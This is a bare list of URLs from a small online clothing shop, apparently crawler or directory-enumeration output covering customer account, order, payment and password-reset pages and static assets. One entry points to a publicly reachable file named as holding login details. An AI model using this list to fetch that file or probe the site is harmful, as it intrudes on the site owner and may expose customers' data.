https://onstor459.000webhostapp.com/customer/includes/
https://onstor459.000webhostapp.com/customer/js/
https://onstor459.000webhostapp.com/customer/logout.php
https://onstor459.000webhostapp.com/customer/my_account.php
https://onstor459.000webhostapp.com/customer/my_orders.php
https://onstor459.000webhostapp.com/customer/my_wishlist.php
https://onstor459.000webhostapp.com/customer/pay_offline.php
https://onstor459.000webhostapp.com/customer/styles/
https://onstor459.000webhostapp.com/customer_register.php
https://onstor459.000webhostapp.com/fonts/
https://onstor459.000webhostapp.com/fonts/icomoon/
https://onstor459.000webhostapp.com/fonts/icomoon/style.css
https://onstor459.000webhostapp.com/forgot_pass.php
https://onstor459.000webhostapp.com/hoodie
https://onstor459.000webhostapp.com/hoodie-mix
https://onstor459.000webhostapp.com/icons/
https://onstor459.000webhostapp.com/images/
https://onstor459.000webhostapp.com/index.php
https://onstor459.000webhostapp.com/jeans
https://onstor459.000webhostapp.com/js/
https://onstor459.000webhostapp.com/js/01 LOGIN DETAILS & PROJECT INFO.txt
https://onstor459.000webhostapp.com/js/bootstrap.min.js
https://onstor459.000webhostapp.com/js/jquery.min.js
https://onstor459.000webhostapp.com/logout.php
https://onstor459.000webhostapp.com/order.php
https://onstor459.000webhostapp.com/shop.php
https://onstor459.000webhostapp.com/styles/
https://onstor459.000webhostapp.com/styles/backend.css
https://onstor459.000webhostapp.com/styles/bootstrap.min.css
https://onstor459.000webhostapp.com/styles/css/
https://onstor459.000webhostapp.com/styles/css/aos.css
https://onstor459.000webhostapp.com/styles/css/bootstrap-datepicker.css
https://onstor459.000webhostapp.com/styles/css/bootstrap.min.css
https://onstor459.000webhostapp.com/styles/css/bootstrap.min.css.map
https://onstor459.000webhostapp.com/styles/css/images/
https://onstor459.000webhostapp.com/styles/css/jquery-ui.css
https://onstor459.000webhostapp.com/styles/css/jquery.fancybox.min.css
https://onstor459.000webhostapp.com/styles/css/magnific-popup.css
https://onstor459.000webhostapp.com/styles/css/mediaelementplayer.css
https://onstor459.000webhostapp.com/styles/css/owl.carousel.min.css
https://onstor459.000webhostapp.com/styles/css/owl.theme.default.min.css
https://onstor459.000webhostapp.com/styles/css/style.css
https://onstor459.000webhostapp.com/styles/fonts/
https://onstor459.000webhostapp.com/styles/fonts/flaticon/
https://onstor459.000webhostapp.com/styles/fonts/flaticon/font/
https://onstor459.000webhostapp.com/styles/fonts/flaticon/font/_flaticon.scss
https://onstor459.000webhostapp.com/styles/fonts/flaticon/font/flaticon.css
https://onstor459.000webhostapp.com/styles/fonts/flaticon/font/flaticon.html
https://onstor459.000webhostapp.com/styles/js/
https://onstor459.000webhostapp.com/styles/js/aos.js
https://onstor459.000webhostapp.com/styles/js/bootstrap-datepicker.min.js
https://onstor459.000webhostapp.com/styles/js/bootstrap.min.js
https://onstor459.000webhostapp.com/styles/js/jquery-3.3.1.min.js
https://onstor459.000webhostapp.com/styles/js/jquery-ui.js
https://onstor459.000webhostapp.com/styles/js/jquery.countdown.min.js
https://onstor459.000webhostapp.com/styles/js/jquery.easing.1.3.js
https://onstor459.000webhostapp.com/styles/js/jquery.fancybox.min.js
https://onstor459.000webhostapp.com/styles/js/jquery.sticky.js
https://onstor459.000webhostapp.com/styles/js/main.js
https://onstor459.000webhostapp.com/styles/js/owl.carousel.min.js
https://onstor459.000webhostapp.com/styles/js/popper.min.js
https://onstor459.000webhostapp.com/styles/style.css
https://onstor459.000webhostapp.com/terms.php